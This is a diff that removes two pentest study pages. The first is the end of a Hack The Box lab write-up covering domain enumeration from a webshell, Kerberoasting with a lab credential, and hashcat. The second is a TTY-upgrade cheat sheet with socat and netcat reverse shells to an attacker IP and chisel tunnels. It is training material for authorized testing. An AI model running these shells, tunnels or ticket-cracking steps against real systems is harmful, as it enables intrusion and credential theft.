Admins` — no domain user groups nested into local admin, so a regular domain user will *not* get admin here -> 3. **`mpalledorous` is not a local admin on this host**, but his NT hash is still worth pass-the-hash checks against other hosts — local account password reuse across servers is one of the most common real-world findings -> 4. *`WDAGUtilityAccount` is the managed account for Windows Defender Application Guard — noise, not an attack path* - -```cmd -tasklist /svc -``` - -> [!info]+ Process List Highlights -> `fas:Terminal` -> -> | Process | Why it matters | -> |---|---| -> | `spoolsv.exe` (Spooler) | Print Spooler is running — confirms PrintSpoofer viability for Step 11 | -> | `svchost.exe` (WinRM) | WinRM service is running even though `5985` did not appear in the earlier port scan — re-check reachability from `dmz01`; a listening WinRM is a clean lateral-movement landing spot once admin creds exist | -> | `svchost.exe` (ftpsvc) | Microsoft FTP service is installed/running though `:21` was closed externally — worth checking local bindings; FTP roots frequently hold readable deployment files | -> | `sqlservr.exe` / `sqlbrowser.exe` (MSSQL$SQLEXPRESS) | Confirms the SQL Server stack behind DNN and the Step 10 `xp_cmdshell` context | -> | `explorer.exe` + `LogonUI.exe` + `taskhostw.exe` | An **interactive console session exists** — consistent with the `hporter` autologon `DefaultPassword` recovered from LSA in Step 12. With SYSTEM, LSASS on this host very likely holds live domain credentials | -> | (absent) `MsMpEng.exe` / EDR processes | No obvious AV/EDR process in the list — still verify before running noisy tooling; absence in `tasklist` is a signal, not proof | - -```cmd -net accounts /domain -``` - -> [!success]+ Finding — Weak Domain Password Policy `ris:Key` -> `ris:Key` -> 1. **Minimum password length: 1** and **password history: none** — trivially weak passwords are permitted by policy -> 2. **Lockout threshold: Never** — the domain will not lock accounts regardless of failed attempts, so password spraying carries no lockout risk *in this lab*. On a real engagement you would still throttle and spread attempts, but the finding stands on its own -> 3. Maximum password age 42 days — credentials rotate, so recovered passwords have a shelf life -> 4. **Severity:** Medium — `Weak Password Policy` / `No Account Lockout`. Report as a standalone finding; it materially enables the spraying attacks used later - -```cmd -net group /domain -``` - -> [!info]+ Domain Group Structure — Reading the Admin Model -> `ris:FileList` -> 1. **Tiered administration model:** `Tier 1 Admins` through `Tier 4 Admins` (plus `Tier Admin Users Management`) — expect admin privilege to be scoped by tier; landing a Tier-x account tells you exactly which systems it should control -> 2. **High-value groups to track:** `Secadmins`, `IT Admins`, `Server Admins`, `SQL Admins`, `Website Admin`, `GPO Management`, `Exchange Administrator`, `Service Accounts` -> 3. **`Protected Users` exists:** members of this group cannot authenticate with NTLM and cannot be delegated — check membership before counting on pass-the-hash or delegation attacks against any specific account later -> 4. **File-share permission groups** (`File Share F/G/H Drive`, `File Share Admin`, `Fileshare Management`) map directly to share-level attack paths worth enumerating once a domain credential is in hand -> 5. *Interpretation: the group list is a map of where privilege lives. Cross-reference every future credential against this list with `net user <name> /dom` the moment it is recovered* - -```cmd -setspn -T INLANEFREIGHT -Q */* -``` - -> [!success]+ Finding — Kerberoastable Service Accounts and an Infrastructure Map `ris:Key` -> `ris:Key` -> Every **user account** below carries an SPN and is therefore Kerberoastable — any valid domain credential (e.g. `hporter`) can request a crackable RC4/AES service ticket for each of them. Machine-account SPNs (DEV01, MS01) are excluded — machine passwords are long random values and not practically crackable. -> -> | Account | SPN | Assessment | -> |---|---|---| -> | `mssqlsvc` | `MSSQLSvc/DB01.inlanefreight.local:1433` | SQL service account — classic roast target | -> | `svc_sql` | `MSSQLSvc/SQL01.inlanefreight.local:1433` | SQL service account | -> | `sqlprod` | `MSSQLSvc/SQL02.inlanefreight.local:1433` | SQL service account | -> | `sqldev` | `MSSQLSvc/SQL-DEV01.inlanefreight.local:1433` | SQL service account | -> | `sqltest` | `MSSQLSvc/DEVTEST.inlanefreight.local:1433` | SQL service account | -> | `sqlqa` | `MSSQLSvc/QA001.inlanefreight.local:1433` | SQL service account | -> | `mssqladm` | `MSSQLSvc/SQL-WEB01.inlanefreight.local:1433` | Name implies SQL *admin* — priority target | -> | `azureconnect` | `adfsconnect/azure01.inlanefreight.local` | **Azure AD Connect sync account — top priority.** Sync accounts routinely hold directory replication rights (DCSync-equivalent) | -> | `backupjob` | `backupjob/veam001.inlanefreight.local` | Veeam backup service — backup infrastructure is a credential goldmine and often domain-admin adjacent | -> | `vmwarescvc` | `vmware/vc.inlanefreight.local` | vCenter service account — virtualization control plane | -> | `sapsso` / `sapvc` | `SAP/APP01`, `SAPsvc/SAP01` | SAP estate present in the environment | -> -> 1. **Infrastructure discovery bonus:** the SPN list reveals hostnames that host discovery never showed — `DB01`, `SQL01`, `SQL02`, `SQL-DEV01`, `DEVTEST`, `QA001`, `SQL-WEB01`, `azure01`, `veam001`, `vc`, `APP01`, `SAP01`. Resolve them from DEV01 (`nslookup <name> 172.16.8.3`) to extend the target list beyond the four hosts found by the ping sweep -> 2. **Attack path:** roast with the recovered domain credential, crack offline (`hashcat -m 13100` for RC4 tickets), then pivot into the MSSQL estate — SQL service accounts are frequently local admins on their own hosts and members of `SQL Admins` -> 3. *The tail of the output (`Existing SPN found!` + an LDAP connect error) is setspn failing a second query against an unresolved `$DOMAIN` variable — operator error in the lab shell, not a target-side protection* - -> [!example]+ PayloadsAllTheThings — Kerberoasting Reference -> `ris:Command` -> [PayloadsAllTheThings — Kerberoast](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/kerberos-kerberoast/) covers requesting and cracking service tickets. Either side of the pivot works: Impacket from the attacker through SOCKS using `hporter`, or Rubeus uploaded to DEV01. -> ```bash -> proxychains GetUserSPNs.py 'INLANEFREIGHT.LOCAL/hporter:Gr8hambino!' -dc-ip 172.16.8.3 -request -> hashcat -m 13100 spns.txt /usr/share/wordlists/rockyou.txt -> ``` -> ```cmd -> Rubeus.exe kerberoast /outfile:spns.txt -> ``` -> 1. **`-request`:** actually requests the tickets rather than only listing SPN accounts -> 2. **Mode 13100:** Kerberos 5 TGS-REP etype 23 (RC4) — the common crackable format -> 3. **Rubeus on-host:** avoids proxy latency but drops a well-signatured binary on the target — weigh against the no-AV observation above and upload to a tracked path -> 4. *Request tickets for all SPN accounts at once; prioritize cracking attempts on `mssqladm`, `azureconnect`, and `backupjob`.* - -> [!warning]+ Artefact and Cleanup Log — DEV01 `fas:TriangleExclamation` -> `fas:TriangleExclamation` -> The `C:\DotNetNuke\Portals\0` directory listing shows two webshells sitting in the webroot — `cmdasp.aspx` and `nt-webshell-rosepine.aspx` — alongside `PrintSpoofer64.exe`, `nc.exe`, and the three `.SAVE` registry hives from Step 12. Every one of these is a logged artefact: remove them at engagement close and verify the DNN `Allowable File Extensions` setting is restored to its original value. - -> [!tip]+ Why Domain Queries Work From a Webshell `fas:Lightbulb` -> `fas:Lightbulb` -> An IIS app-pool identity is a *local* virtual account, but its *network* credential is the domain computer account. `net group /domain`, `net accounts /domain`, and `setspn` all succeeded from the webshell without any recovered password because AD treats `ACADEMY-AEN-DEV$` as an authenticated domain member. Lesson: a webshell on a domain-joined host is already a domain foothold for read-only enumeration. - ---- - ---- - -## Lessons Learned `fas:Lightbulb` - -1. **Always run `sudo -l` and check GTFOBins before reaching for a kernel exploit.** The `openssl` file-read primitive here was faster and safer than any binary exploitation route -2. **Grab durable credentials whenever privileged access is available.** A root SSH key outlives password rotations and account lockouts — it is the single best form of Linux persistence -3. **Uploaded static binaries (Nmap, payloads) are forensic artefacts.** Track every file placed on a client system from the very first upload, not retroactively at report time -4. **Config files are a top-tier pillaging target.** The DNN `web.config` handed over full CMS admin access with zero exploitation required — always check file shares before spending hours on exploit development -5. **`SeImpersonatePrivilege` on a service account is close to an automatic win.** PrintSpoofer/JuicyPotato-class tooling turns it into SYSTEM in seconds — always check `whoami /priv` immediately after any RCE -6. **A webshell on a domain-joined host is already a domain foothold for enumeration.** The app-pool identity queries AD as the machine account — `net group /domain`, `net accounts /domain`, and `setspn` all returned data with no user credential at all -7. **SPN enumeration is free recon that doubles as a network map.** Beyond the Kerberoast target list, the SPN output revealed a dozen infrastructure hostnames (SQL, Veeam, vCenter, ADFS, SAP) that ping sweeps and port scans alone never exposed - ---- - -## References `fas:BookOpen` - -1. [HTB Academy — Attacking Enterprise Networks (Module 163)](https://academy.hackthebox.com/app/module/163) -2. [HTB Academy — Pivoting, Tunneling, and Port Forwarding](https://academy.hackthebox.com/module/158) -3. [HTB Academy — Windows Privilege Escalation](https://academy.hackthebox.com/module/67) -4. [HTB Academy — Using the Metasploit Framework](https://academy.hackthebox.com/module/109) -5. [GTFOBins — openssl](https://gtfobins.github.io/gtfobins/openssl/) -6. [PrintSpoofer — GitHub](https://github.com/itm4n/PrintSpoofer) -7. [Impacket — GitHub](https://github.com/fortra/impacket) -8. [NetExec — GitHub](https://github.com/Pennyw0rth/NetExec) -9. [DotNetNuke / DNN Platform](https://www.dnnsoftware.com/) -10. [MITRE ATT&CK — T1078 Valid Accounts](https://attack.mitre.org/techniques/T1078/) -11. [MITRE ATT&CK — T1059 Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059/) -12. [PayloadsAllTheThings — Linux Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md) -13. [PayloadsAllTheThings — Linux Persistence](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md) -14. [PayloadsAllTheThings — Network Pivoting Techniques](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md) -15. [PayloadsAllTheThings — Network Discovery](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Discovery.md) -16. [PayloadsAllTheThings — Active Directory Attack](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md) -17. [PayloadsAllTheThings — MSSQL Server Cheat Sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet.md) -18. [PayloadsAllTheThings — Windows Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) -19. [InternalAllTheThings — Nmap Network Discovery](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#nmap) -20. [InternalAllTheThings — Active Directory Enumeration](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adds-enumerate/) -21. [InternalAllTheThings — MSSQL xp_cmdshell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#command-execution-via-xp_cmdshell) - ---- - -#HTB #Academy #AttackingEnterpriseNetworks #CPTS #Inlanefreight #ActiveDirectory #Pivoting #Persistence #DotNetNuke #PrintSpoofer #GTFOBins diff --git a/src/content/sheets/pentest-workflow/tty-upgrades-and-restricted-shells.md b/src/content/sheets/pentest-workflow/tty-upgrades-and-restricted-shells.md @@ -1,948 +0,0 @@ ---- -title: "TTY Upgrades & Restricted Shells — CPTS Cheat Sheet" -description: "Updated CPTS field reference for tty upgrades & restricted shells — cpts cheat sheet." -category: pentest-workflow -subcategory: "General CPTS Cheatsheets" -order: 30 -tags: ["htb", "cpts", "shells", "tty", "pty", "restricted-shell", "pivoting", "postexploitation", "pentest-workflow"] -tools: ["python pty / script / stty", "socat / netcat / rlwrap", "pwncat-cs", "OpenSSH", "Meterpreter", "ConPtyShell", "chisel", "ligolo-ng"] -difficulty: intermediate -updated: "2026-08-29" -source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/06 - TTY Upgrades and Restricted Shells - CPTS Cheat Sheet.md" ---- -[← Previous: Web Shells](/sheets/pentest-workflow/web-shells) · [Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Finish: dashboard ↻](/sheets/pentest-workflow/attacking-common-modules-dashboard) - -# TTY Upgrades & Restricted Shells — CPTS Cheat Sheet `fas:ClipboardList` - -> [!dashboard] Workflow context -> **Dashboard:** [HTB Pentest Workflow](/sheets/pentest-workflow/attacking-common-modules-dashboard) · **Previous:** [Web Shells](/sheets/pentest-workflow/web-shells) -> -> **Attack-flow references:** [05 - Foothold Toolkit - Shells Payloads and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) · [12 - Stage 09 - Privilege Escalation](/sheets/pentest-workflow/privilege-escalation) -> -> **Source module:** 8 · Shells and Payloads · **Pivoting:** [Common Services (chisel / ligolo-ng)](/sheets/pentest-workflow/attacking-common-services) · [AEN internal enumeration](/sheets/pentest-workflow/post-exploitation-persistence-internal-enumeration) - -## Summary `ris:Eye` - -A raw reverse shell carries bytes, but it usually has no controlling terminal, job control, terminal geometry, or reliable signal handling. The upgrade has two distinct parts: **allocate a PTY on the target**, then **place the local terminal in raw mode and foreground the connection**. Commands such as `/bin/bash -i` improve the prompt but do not allocate a PTY by themselves. - -> [!danger]+ Authorized-use boundary -> `fas:TriangleExclamation` -> 1. Use these procedures only on systems you own or are explicitly authorized to test. -> 2. A TTY upgrade changes session behavior but not privileges. Treat a restricted-shell escape and privilege escalation as separate findings. -> 3. Do not wipe history or logs. Record staged binaries/scripts and remove only assessment artifacts during cleanup. -> 4. Capture your local terminal state before `stty raw -echo` so a dropped connection does not leave the terminal unusable. - -## Terms that matter `ris:FileList` - -| Term | Meaning | What it gives you | -|---|---|---| -| Shell | Command interpreter such as `sh`, `bash`, `cmd.exe` or PowerShell | Executes commands | -| Interactive shell | Reads commands from a user and may provide history/readline | Better prompt; still may lack a terminal | -| PTY | Pseudo-terminal master/slave pair | Terminal semantics for a child process | -| Controlling TTY | Terminal associated with a session/process group | Job control and signals | -| Raw mode | Local terminal passes keystrokes without local line processing/echo | Lets the remote PTY handle Ctrl+C, arrows and editing | -| `TERM` | Terminal capability name | Tells full-screen programs how to render | -| Geometry | Rows and columns | Prevents wrapping and broken ncurses displays | - -<figure class="flow plate corners"> - <figcaption class="flow__cap"><span class="flow__kind">Shell upgrade decision flow</span><span class="flow__dir">TD</span></figcaption> - <div class="flow__body"> - <svg class="flow-svg" viewBox="0 0 730 830" role="img" aria-label="From a raw shell: check for a tty, pick a PTY allocator (python or script, socat, or none), then background, enter local raw mode and foreground, reset TERM and geometry, and verify tty plus signals; without an allocator you get only a limited shell."> - <path class="fedge" d="M360,70 L360,125" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M360,175 L360,230" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M360,280 L360,335" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M460,255 L600,255 L600,335" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M260,255 L120,255 L120,335" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M360,385 L360,440" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M360,490 L360,545" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M360,595 L360,650" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M600,385 L600,675 L460,675" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M120,385 L120,440" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M360,700 L360,755" marker-end="url(#flow-arrow)" /> - <g class="fnode is-entry"><rect class="fnode__box" x="260" y="20" width="200" height="50" /><text class="fnode__label" x="360" y="50" text-anchor="middle">Raw shell</text></g> - <g class="fnode is-decision"><rect class="fnode__box" x="260" y="125" width="200" height="50" /><text class="fnode__label" x="360" y="155" text-anchor="middle">tty?</text></g> - <g class="fnode is-decision"><rect class="fnode__box" x="260" y="230" width="200" height="50" /><text class="fnode__label" x="360" y="260" text-anchor="middle">PTY allocator present?</text></g> - <g class="fnode"><rect class="fnode__box" x="260" y="335" width="200" height="50" /><text class="fnode__label" x="360" y="365" text-anchor="middle">Spawn PTY</text></g> - <g class="fnode"><rect class="fnode__box" x="500" y="335" width="200" height="50" /><text class="fnode__label" x="600" y="356" text-anchor="middle">Start PTY-backed<tspan class="sub" x="600" dy="15">socat shell</tspan></text></g> - <g class="fnode"><rect class="fnode__box" x="20" y="335" width="200" height="50" /><text class="fnode__label" x="120" y="356" text-anchor="middle">Interactive shell only<tspan class="sub" x="120" dy="15">or transfer a reviewed tool</tspan></text></g> - <g class="fnode"><rect class="fnode__box" x="260" y="440" width="200" height="50" /><text class="fnode__label" x="360" y="470" text-anchor="middle">Ctrl+Z</text></g> - <g class="fnode"><rect class="fnode__box" x="20" y="440" width="200" height="50" /><text class="fnode__label" x="120" y="461" text-anchor="middle">Limited shell<tspan class="sub" x="120" dy="15">no reliable job control</tspan></text></g> - <g class="fnode"><rect class="fnode__box" x="260" y="545" width="200" height="50" /><text class="fnode__label" x="360" y="575" text-anchor="middle">Local raw mode + fg</text></g> - <g class="fnode"><rect class="fnode__box" x="260" y="650" width="200" height="50" /><text class="fnode__label" x="360" y="680" text-anchor="middle">reset · TERM · rows/cols</text></g> - <g class="fnode is-goal"><rect class="fnode__box" x="260" y="755" width="200" height="50" /><text class="fnode__label" x="360" y="785" text-anchor="middle">Verify tty + signals</text></g> - <g class="felabel"><rect class="felabel__box" x="326" y="194" width="68" height="16" /><text class="felabel__text" x="360" y="205" text-anchor="middle">not a tty</text></g> - <g class="felabel"><rect class="felabel__box" x="307" y="299" width="105" height="16" /><text class="felabel__text" x="360" y="310" text-anchor="middle">python / script</text></g> - <g class="felabel"><rect class="felabel__box" x="509" y="247" width="43" height="16" /><text class="felabel__text" x="530" y="258" text-anchor="middle">socat</text></g> - <g class="felabel"><rect class="felabel__box" x="172" y="247" width="37" height="16" /><text class="felabel__text" x="190" y="258" text-anchor="middle">none</text></g> - </svg> - </div> -</figure> - ---- - -## 0 · Gold-path upgrade card `fas:Bolt` - -Use this sequence for a netcat-style Linux reverse shell. - -### Canonical copy-paste sequence - -```bash -# 1. Target — allocate a PTY: -python3 -c 'import pty; pty.spawn("/bin/bash")' - -# 2. Press Ctrl+Z to background the connection, then on the attacker: -stty raw -echo; fg - -# 3. Back on the target — press Enter once, then: -reset -export SHELL=/bin/bash -export TERM=xterm-256color -stty rows 43 cols 172 # replace with your own `stty size` output -``` - -The full measured workflow below replaces the hardcoded geometry with the values from your own terminal. - -### Target — allocate a PTY - -```bash -python3 -c 'import pty; pty.spawn("/bin/bash")' -``` - -If Python is unavailable: - -```bash -script -qc /bin/bash /dev/null -``` - -Press **Ctrl+Z** to suspend the connection and return to the local shell. - -### Attacker — save terminal state, enter raw mode, foreground - -```bash -OLD_STTY=$(stty -g) - -if read -r LOCAL_ROWS LOCAL_COLS < <(stty size </dev/tty 2>/dev/null); then - LOCAL_TERM=${TERM:-xterm} - printf "Paste remotely after fg:\nexport TERM='%s'\nstty rows %s cols %s\n" \ - "$LOCAL_TERM" "$LOCAL_ROWS" "$LOCAL_COLS" -else - printf 'No controlling local TTY—do not enable raw mode yet.\n' >&2 -fi -``` - -Only after the generator prints populated rows and columns: - -```bash -stty raw -echo; fg -``` - -> [!important]+ The semicolon matters -> Run `stty raw -echo; fg` as one line. This is especially important under zsh. After `fg`, press Enter once or twice if the prompt is not redrawn. - -### Target — initialize the terminal - -```bash -export SHELL=/bin/bash -# Paste the two exact export/stty lines printed by the attacker terminal. -reset -``` - -The generator reads the dimensions of the **current attacker TTY**, so it does not guess `80` columns. Its output will look like this, with values matching the terminal or tmux pane in front of you: - -```bash -export TERM='xterm-256color' -stty rows 43 cols 172 -``` - -### Socat gold path — full TTY in one step - -When a reviewed static socat binary is staged on the target, the whole upgrade collapses to a matched one-liner pair and needs no Ctrl+Z dance: - -```bash -# Attacker listener (raw, no local echo, PTY-aware): -socat file:$(tty),raw,echo=0 TCP-LISTEN:4444,reuseaddr - -# Target (PTY-backed reverse shell with signals and session): -socat TCP:10.10.14.2:4444 EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane -``` - -Set `TERM` and geometry on the target as usual if full-screen programs misbehave. - -### Verify - -```bash -tty -stty -a -ps -o pid,ppid,sid,tty,stat,comm -p $$ -``` - -Expected: `tty` returns a `/dev/pts/...` path, the process has a TTY, arrow keys work, and Ctrl+C interrupts the foreground command without killing the connection. - -### Restore the attacker terminal after exit or failure - -```bash -stty "$OLD_STTY" -reset -``` - -If the variable is unavailable, type this blindly and press Enter: - -```bash -stty sane -reset -``` - ---- - -## 1 · Diagnose the shell before changing it `fas:MagnifyingGlass` - -### Target checks - -```bash -tty -printf 'shell=%s argv0=%s term=%s\n' "$SHELL" "$0" "$TERM" -ps -o pid,ppid,sid,tty,stat,comm -p $$ - -for fd in 0 1 2; do - if test -t "$fd"; then - printf 'fd %s is a tty\n' "$fd" - else - printf 'fd %s is not a tty\n' "$fd" - fi -done - -readlink /proc/$$/fd/0 2>/dev/null -``` - -### Capability checklist - -| Test | Healthy interactive result | Raw-shell symptom | -|---|---|---| -| `tty` | `/dev/pts/N` | `not a tty` | -| `test -t 0` | success | failure | -| Ctrl+C on `sleep 30` | interrupts `sleep` only | kills/freezes the session | -| Arrow keys | edit history | print `^[[A` | -| `su - user` / `ssh host` | prompts normally | no prompt, hangs or exits | -| `vim` / `top` | renders correctly | corrupted screen | -| `stty size` | real rows/columns | ioctl error or `0 0` | - -> [!note]+ Do not confuse shell quality with policy -> A working PTY does not bypass PAM, sudo policy, AppArmor, SELinux, application control, or a restricted login shell. It only provides the terminal behavior those tools expect. - ---- - -## 2 · PTY allocators and fallback shells `fas:Terminal` - -### What actually allocates a PTY? - -| Method | Allocates PTY? | Notes | -|---|---:|---| -| Python `pty.spawn` | Yes | Most common Unix fallback | -| util-linux `script` | Yes | Often installed when Python is absent | -| socat `pty` option | Yes | Best signal/session handling when available | -| Expect `spawn ...; interact` | Yes | Useful on appliances with Expect | -| SSH `-t` / `-tt` | Yes | Server policy still applies | -| `bash -i`, Perl/Ruby `exec`, awk `system` | No | Interactive process only; still useful as a fallback | -| `rlwrap nc` | No | Local readline wrapper, not a remote PTY | - -### Python - -```bash -python3 -c 'import pty; pty.spawn("/bin/bash")' -python -c 'import pty; pty.spawn("/bin/bash")' -``` - -If Bash is unavailable: - -```bash -python3 -c 'import pty; pty.spawn("/bin/sh")' -``` - -### util-linux `script` - -```bash -script -qc /bin/bash /dev/null -``` - -Alternative accepted by some util-linux builds: - -```bash -script -c /bin/bash /dev/null -``` - -The output file is `/dev/null` so the command does not leave a terminal transcript on the target. - -### Expect - -```bash -expect -c 'spawn /bin/bash; interact' -``` - -### Socat — full PTY connection - -Attacker: - -```bash -socat file:$(tty),raw,echo=0 TCP-LISTEN:4444,reuseaddr -``` - -Target: - -```bash -socat TCP:10.10.14.2:4444 EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane -``` - -> [!warning]+ Staging a static binary -> Transfer only a reviewed binary appropriate for the target architecture and engagement. Record its hash and destination, use a scoped writable directory, and remove it when finished. - -### Interactive-only fallbacks — not a PTY - -```bash -/bin/bash -i -/bin/sh -i -perl -e 'exec "/bin/bash";' -ruby -e 'exec "/bin/bash"' -awk 'BEGIN {system("/bin/bash")}' -env /bin/bash -i -``` - -These may improve command parsing or prompt behavior, but `tty` will still report `not a tty`. Continue with a real PTY allocator when possible. - ---- - -## 3 · Listener choices `fas:SatelliteDish` - -### Netcat - -```bash -nc -lvnp 4444 -``` - -Netcat is simple and widely available, but it does not allocate a PTY. - -### rlwrap + netcat - -```bash -rlwrap -r -f . nc -lvnp 4444 -``` - -`rlwrap` adds local history and line editing. It does not fix remote job control, terminal sizing, `su` or `ssh` prompts. It pairs well with the gold-path upgrade: rlwrap gives you comfortable editing while you run the `python3`/`script` + `stty raw -echo; fg` sequence. - -### Ncat with TLS - -```bash -ncat --ssl -lvnp 4444 -``` - -The connecting side must also speak Ncat TLS. Encryption does not add PTY behavior. - -### Socat - -```bash -socat file:$(tty),raw,echo=0 TCP-LISTEN:4444,reuseaddr -``` - -### pwncat-cs — the modern catch-all - -```bash -pwncat-cs -lp 4444 -``` - -`pwncat-cs` is the modern successor to the original pwncat: it detects the platform on connect, can auto-allocate a PTY, tracks sessions, and provides built-in upload/download, privesc-enum and persistence modules. Use the automation only after confirming it is permitted by the engagement and compatible with the target. Record any files, persistence or enumeration actions a framework performs. - -### Metasploit handler - -```text -use exploit/multi/handler -set PAYLOAD linux/x64/shell_reverse_tcp -set LHOST 10.10.14.2 -set LPORT 4444 -run -``` - -A handler catches the payload; shell quality still depends on the session type and subsequent PTY allocation. - -> [!tip]+ Through a pivot, the listener often lives ON the pivot -> When the target can reach a compromised pivot but not your attacker box, run the catch listener on the pivot itself (e.g. `nc -lvnp 4444` or socat on the pivot) and interact with it over your existing SSH/SSH-`D` session — the same pattern the AEN walkthrough uses when `nc -lnvp` ran on `dmz01` to catch shells from internal hosts. See [sheet 01 (bundled pivot tools)](/sheets/pentest-workflow/attacking-common-services) and [AEN persistence & internal enumeration](/sheets/pentest-workflow/post-exploitation-persistence-internal-enumeration) for the pivot workflow. - -> [!example]+ Reverse shells through pivots — chisel & ligolo-ng -> When the target **cannot route back to you directly**, stage a tunnel and let the shell traverse it. The vault carries reviewed builds: `[chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc))` and `[chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc))` for chisel, `[ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc))` and `[ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc))` for ligolo-ng. -> -> **chisel reverse listener (catch a shell from an unreachable target):** -> ```bash -> # Attacker — reverse-mode server; clients may open reverse forwards: -> chisel server --reverse -p 8080 -> -> # Target/pivot — expose the attacker's nc listener as a local port on the target: -> chisel client 10.10.14.2:8080 R:4444:127.0.0.1:4444 -> -> # Attacker — plain catch listener; the shell arrives via the tunnel: -> rlwrap -r -f . nc -lvnp 4444 -> ``` -> The target then runs its reverse-shell payload against **its own** `127.0.0.1:4444`; chisel carries the connection back to your netcat. A full SOCKS variant is `chisel client 10.10.14.2:8080 R:socks`, which lets you aim `proxychains` at internal services from the same tunnel. -> -> **ligolo-ng (TUN, full routing):** run the `proxy` on the attacker and the `agent` on the pivot, add a `listener_add` forward for your catch port, and the target calls back to a pivot-side address that ligolo delivers to your listener — full command set in [sheet 01](/sheets/pentest-workflow/attacking-common-services). -> -> Record every staged binary and tunnel endpoint; remove them during cleanup. - ---- - -## 4 · Terminal geometry, TERM and locale `fas:Expand` - -### What are you actually copying? - -| Value | What it means | How to discover it locally | -|---|---|---| -| Rows / columns | Current kernel-reported size of the terminal or tmux pane | `stty size </dev/tty` | -| `TERM` | A terminal **capability/terminfo name** used by programs such as `vim`, `less` and `top` | `printf '%s\n' "$TERM"` | -| Terminal emulator | The graphical program, such as Ghostty, Kitty, Alacritty or Foot | Environment and process-tree checks below | - -`TERM` is not necessarily the emulator's product name. Inside tmux it is commonly `tmux-256color` or `screen-256color`, even when the visible emulator is Ghostty or Kitty. For the remote session, correct geometry and a `TERM` entry installed on the target matter more than the emulator brand. - -### Discover the exact local values - -```bash -printf 'TTY=%s\n' "$(tty)" -printf 'TERM=%s\n' "${TERM:-unset}" -stty size </dev/tty -stty -a </dev/tty | sed -n '1p' -tput lines -tput cols -``` - -`stty size` prints `ROWS COLS`. Run it from the attacker terminal that owns the listener—not through the remote shell. If the listener is inside tmux, it correctly reports the current pane size. - -To identify the visible emulator as well: - -```bash -printf 'TERM_PROGRAM=%s\n' "${TERM_PROGRAM:-unset}" -printf 'TERMINAL=%s\n' "${TERMINAL:-unset}" -ps -o pid,ppid,tty,comm -p $$ -p $PPID -pstree -s $$ -``` - -Environment hints are not universal, and tmux/SSH may sit between the shell and emulator. Do not invent a `TERM` value from the application name; use the current `$TERM`, then test whether the target has its terminfo entry. - -### Generate the exact remote commands - -Run this locally after suspending the connection with Ctrl+Z and **before** enabling raw mode: - -```bash -if read -r LOCAL_ROWS LOCAL_COLS < <(stty size </dev/tty 2>/dev/null); then - LOCAL_TERM=${TERM:-xterm} - printf "export TERM='%s'\nstty rows %s cols %s\n" \ - "$LOCAL_TERM" "$LOCAL_ROWS" "$LOCAL_COLS" -else - printf 'No controlling local TTY; run this from the listener terminal.\n' >&2 -fi -``` - -Copy the two printed lines to the target after `fg`. A compact Bash/zsh version is: - -```bash -read -r TTY_ROWS TTY_COLS < <(stty size </dev/tty) && printf "export TERM='%s'; stty rows %s cols %s\n" "${TERM:-xterm}" "$TTY_ROWS" "$TTY_COLS" -``` - -> [!warning]+ Why not always use 80 columns? -> `80` is a historical default, not a measurement. A guessed size causes early wrapping, misplaced prompts and broken full-screen programs. Capture the current size again whenever the local window or tmux pane changes. - -### tmux and multiplexer panes - -```bash -# stty already reports the active pane's PTY size. -stty size </dev/tty - -# Cross-check using tmux's own pane values. -tmux display-message -p '#{pane_height} #{pane_width}' - -# See the capability name exposed inside the pane. -printf 'TERM=%s\n' "$TERM" -``` - -If the local value is `tmux-256color`, `screen-256color` or an emulator-specific name such as `xterm-kitty`, the target may not have matching terminfo data. That is a compatibility issue, not a geometry issue. - -### Apply and validate on the target - -```bash -# Example only—paste the values produced by your local generator. -export TERM='xterm-256color' -stty rows 43 cols 172 - -printf 'TERM=%s\n' 